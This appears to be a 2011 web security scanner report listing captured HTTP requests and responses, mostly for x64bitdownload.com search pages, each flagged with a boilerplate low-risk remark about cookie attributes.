GET / HTTP/1.1 Host: www.walnecks.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:10:51 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Wed, 25-Jan-2012 00:10:51 GMT Connection: close Content-Type: text/html Content-Length: 64629
<!-- dstolweb11-php5b --><!DOCTYPE html> <html> <head> <title>Classic Motorcycles - Antique and Vintage Motorcycles for Sale - Walnecks.com</title> <meta http-equiv="Cache-Control" content="no-cache ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /learn/articles-resources/community-support/recycling.jsp HTTP/1.1 Host: www.wireless.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV" X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xcDMgWyBEUFNMaWNlbnNlLzAgIF0= X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Expires: Tue, 25 Jan 2011 04:40:25 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 04:40:25 GMT Content-Length: 32021 Connection: close Set-Cookie: TLTHID=3A374D86283D102802CDB8903992A194; Path=/; Domain=.att.com Set-Cookie: TLTSID=3A374D86283D102802CDB8903992A194; Path=/; Domain=.att.com Set-Cookie: TLTUID=3A374D86283D102802CDB8903992A194; Path=/; Domain=.att.com; Expires=Tue, 25-01-2021 04:40:25 GMT Set-Cookie: B2CSESSIONID=m83KN2JZpgQXGw!356831932; path=/; HttpOnly Set-Cookie: DYN_USER_ID=3531123409; path=/ Set-Cookie: DYN_USER_CONFIRM=2afae30a32d18177a2afef4e6b409767; path=/ Set-Cookie: ECOM_GTM=NA_osaln; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: cust_type=new; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: browserid=A001361839192; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: svariants=NA; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: BIGipServerpWL_7010_7011=1776406919.25115.0000; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-archive-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22archive%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22archive%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93426
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-assembling-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 72783
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-atom-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89319
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-audio-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-automatic-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-autoposter-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36293
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-binaries-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:17 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88854
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-binary-downloader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A17%3A%22binary-downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A17%3A%22binary+downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35748
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-binary-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-board-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:03 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88225
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-boards-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86911
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-client-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-commander-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22commander%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22commander%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-community-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90778
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-complex-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22complex%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22complex%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-conference-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88850
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-cross-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90500
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-download-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94324
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-downloader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98412
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-explorer-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:55 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22explorer%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22explorer%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
